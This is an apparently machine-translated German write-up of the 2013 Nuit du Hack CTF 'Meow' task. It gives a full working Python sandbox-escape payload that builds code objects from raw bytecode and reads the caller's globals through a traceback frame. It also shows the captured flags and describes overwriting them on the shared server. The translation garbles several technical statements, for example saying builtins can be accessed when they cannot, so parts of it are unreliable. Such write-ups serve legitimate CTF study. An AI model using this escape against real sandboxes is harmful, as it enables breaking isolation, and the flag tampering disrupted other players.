Die Qualifikationsrunde zur Nuit du Hack CTF 2013 fand gestern statt. Wie üblich werde ich Ihnen in einigen Anmerkungen interessante Aufgaben und / oder Lösungen dieser CTF erläutern. Wenn Sie mehr wissen möchten, sollte mein w4kfu- Teamkollege in Kürze auch auf seinem Blog posten.
TL; DR:
auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())
Eine der Aufgaben, "Meow" genannt , bietet uns eine Remote-Limited-Shell mit Python, in der die meisten integrierten Module deaktiviert sind:
{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}
Es standen verschiedene Funktionen zur Verfügung, nämlich
kitty()
die Ausgabe des Katzenbildes in ASCII und auth(password)
. Ich nahm an, wir müssten die Authentifizierung umgehen und ein Passwort finden. Leider werden unsere Python-Befehle im eval
Ausdrucksmodus übergeben, was bedeutet, dass wir keinen Operator verwenden können: keinen Zuweisungsoperator, keinen Druck, keine Funktions- / Klassendefinitionen usw. Die Situation ist komplizierter geworden. Wir müssen Python-Magie verwenden (ich verspreche, dass es in diesem Beitrag viel davon geben wird).
Zuerst nahm ich an, dass ich
auth
nur das Passwort mit einer konstanten Zeichenfolge vergleiche. In diesem Fall könnte ich ein benutzerdefiniertes Objekt verwenden, das so geändert __eq__
wurde, dass es immer zurückgegeben wirdTrue
... Sie können ein solches Objekt jedoch nicht einfach aufnehmen und erstellen. Wir können unsere eigenen Klassen nicht durch eine Klasse definieren Foo
, da wir ein bereits vorhandenes Objekt (ohne Zuweisung) nicht ändern können. Hier beginnt die Python-Magie: Wir können ein Typobjekt direkt instanziieren, um ein Klassenobjekt zu erstellen, und dann dieses Klassenobjekt instanziieren. So geht's:
type('MyClass', (), {'__eq__': lambda self: True})
Der Typ kann hier jedoch nicht verwendet werden, er ist nicht in integrierten Modulen definiert. Wir können einen anderen Trick verwenden: Jedes Python-Objekt hat ein Attribut
__class__
, das uns den Typ des Objekts angibt. Zum Beispiel ‘’.__class__
dies str
. Aber was interessanter ist: str.__class__
ist der Typ. So können wir ''.__class__.__class__
einen neuen Typ erstellen.
Leider
auth
vergleicht die Funktion unser Objekt nicht nur mit einer Zeichenfolge. Sie macht viele andere Operationen damit: Es teilt es in 14 Zeichen auf, nimmt die Länge durch len()
und nennt es reduce
mit einem seltsamen Lambda. Ohne Code ist es schwierig herauszufinden, wie ein Objekt erstellt wird, das sich so verhält, wie es die Funktion wünscht, und ich mag es nicht zu raten. Mehr Magie nötig!
Fügen wir Codeobjekte hinzu. Tatsächlich sind Funktionen in Python auch Objekte, die aus einem Codeobjekt und einer Erfassung ihrer globalen Variablen bestehen. Das Codeobjekt enthält den Bytecode dieser Funktion und die konstanten Objekte, auf die es verweist, einige Zeichenfolgen, Namen und andere Metadaten (Anzahl der Argumente, Anzahl der lokalen Objekte, Stapelgröße, Zuordnung des Bytecodes zur Zeilennummer). Sie können das Funktionscode-Objekt mit abrufen
myfunc.func_code
. Dies restricted
ist im Python-Interpreter- Modus verboten, daher können wir den Funktionscode nicht sehen auth
. Wir können jedoch unsere eigenen Funktionen erstellen, genauso wie wir unsere eigenen Typen erstellt haben!
Sie könnten sich fragen, warum Sie Codeobjekte verwenden, um Funktionen zu erstellen, wenn wir bereits ein Lambda haben. Es ist ganz einfach: Lambdas dürfen keine Operatoren enthalten. Und zufällig generierte Funktionen können! Zum Beispiel können wir eine Funktion erstellen, die ihr Argument ausgibt an
stdout
:
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
(), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42
Hier gibt es jedoch ein kleines Problem: Um den Typ des Codeobjekts zu erhalten, müssen Sie auf das Attribut zugreifen
func_code
, das begrenzt ist. Glücklicherweise können wir etwas mehr Python-Magie verwenden, um unseren Typ zu finden, ohne auf verbotene Attribute zuzugreifen.
In Python verfügt ein Objekt eines Typs über ein Attribut
__bases__
, das eine Liste aller Basisklassen zurückgibt. Es gibt auch eine Methode __subclasses__
, die eine Liste aller von ihr geerbten Typen zurückgibt. Wenn wir __bases__
einen zufälligen Typ verwenden, können wir den Anfang der Objekttyphierarchie erreichen und dann die Unterklassen des Objekts lesen, um eine Liste aller im Interpreter definierten Typen zu erhalten:
>>> len(().__class__.__bases__[0].__subclasses__())
81
Wir können diese Liste dann verwenden, um unsere Typen zu finden
function
und code
:
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'code'][0]
<type 'code'>
Was können wir tun, nachdem wir jede gewünschte Funktion erstellen können? Wir können direkt auf unbegrenzte Inline-Dateien zugreifen: Die von uns erstellten Funktionen werden weiterhin in der
restricted
Umgebung ausgeführt. Wir können eine nicht isolierte Funktion erhalten: Die Funktion auth
ruft eine Methode für das __len__
Objekt auf, das wir als Parameter übergeben. Dies reicht jedoch nicht aus, um der Sandbox zu entkommen: Unsere globalen Variablen sind immer noch dieselben, und wir können beispielsweise kein Modul importieren. Ich habe versucht, mir alle Klassen anzusehen, mit denen wir zugreifen konnten__subclasses__
um zu sehen, ob wir dadurch einen Link zu einem nützlichen Modul erhalten können, ohne Erfolg. Selbst ein Aufruf einer unserer erstellten Funktionen über den Reaktor reichte nicht aus. Wir könnten versuchen , ein Traceback - Objekt zu erhalten und es verwendet , um den Stack - Frames der Aufruf von Funktionen zu sehen, aber die einzigen einfache Möglichkeit , ein Zurückverfolgungs Objekt zu erhalten ist durch Module inspect
oder sys
die wir nicht importieren. Nachdem ich über dieses Problem gestolpert war, wechselte ich zu anderen, schlief viel und wachte mit der richtigen Lösung auf!
Tatsächlich gibt es eine andere Möglichkeit, ein Traceback-Objekt in der Python-Standardbibliothek abzurufen, ohne Folgendes zu verwenden :
context manager
. Sie waren eine neue Funktion in Python 2.6, mit der Sie in Python eine Art objektorientiertes Scoping erhalten können:
class CtxMan:
def __enter__(self):
print 'Enter'
def __exit__(self, exc_type, exc_val, exc_tb):
print 'Exit:', exc_type, exc_val, exc_tb
with CtxMan():
print 'Inside'
error
# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
<traceback object at 0x7f1a46ac66c8>
Wir können ein Objekt erstellen
context manager
, das das übergebene Traceback-Objekt verwendet __exit__
, um die globalen Variablen für die aufrufende Funktion außerhalb der Sandbox anzuzeigen. Dafür verwenden wir Kombinationen aller unserer vorherigen Tricks. Wir erstellen einen anonymen Typ, der __enter__
sowohl ein einfaches Lambda als auch __exit__
ein Lambda definiert, das sich auf das bezieht, was in der Ablaufverfolgung gewünscht wird, und es an unser Ausgabe-Lambda weitergibt (denken Sie daran, dass wir keine Operatoren verwenden können):
''.__class__.__class__('haxx', (),
{'__enter__': lambda self: None,
'__exit__': lambda self, *a:
(lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
(None,), (), ('s',), 'stdin', 'f',
1, ''), {})
)(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
if x.__name__ == n][0])
(a[2].tb_frame.f_back.f_back.f_globals)})()
Wir müssen tiefer graben! Jetzt müssen wir dieses
context manager
(das wir ctx
in den folgenden Codefragmenten aufrufen werden ) in einer Funktion verwenden, die absichtlich einen Fehler in einem Block auslöst with
:
def f(self):
with ctx:
raise 42
Dann setzen wir
f
als __len__
unser erstelltes Objekt, das wir an die Funktion übergeben auth
:
auth(''.__class__.__class__('haxx2', (), {
'__getitem__': lambda *a: '',
'__len__': f
})())
Kehren wir zum Anfang des Artikels zurück und erinnern uns an den "echten" eingebetteten Code. Wenn der Python-Interpreter auf dem Server ausgeführt wird, führt er unsere Funktion aus
f
. Gehen Sie die erstellte Funktion durch context manager
__exit__
, die auf die globalen Variablen unserer aufrufenden Methode zugreift, wobei zwei interessante Werte vorhanden sind:
'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'
Zwei Fahnen ?! Es stellt sich heraus, dass derselbe Dienst für zwei aufeinanderfolgende Aufgaben verwendet wurde. Doppeltötung!
Um mehr Spaß beim Zugriff auf globale Variablen zu haben, können wir mehr als nur lesen: Wir können Flags ändern! Die Verwendung der
f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })
Flags ändert sich bis zum nächsten Neustart des Servers. Anscheinend haben die Organisatoren dies nicht geplant.
Wie auch immer, ich weiß immer noch nicht, wie wir dieses Problem auf normale Weise lösen sollten, aber ich denke, dass eine solche universelle Lösung eine gute Möglichkeit ist, den Lesern die schwarze Magie von Python näher zu bringen. Verwenden Sie es vorsichtig, es ist einfach, Python zu zwingen, eine Segmentierung unter Verwendung der generierten Codeobjekte durchzuführen (die Verwendung des Python-Interpreters und das Ausführen des x86-Shellcodes durch den generierten Bytecode bleibt dem Leser überlassen). Vielen Dank an die Organisatoren von Nuit du Hack für eine schöne Aufgabe.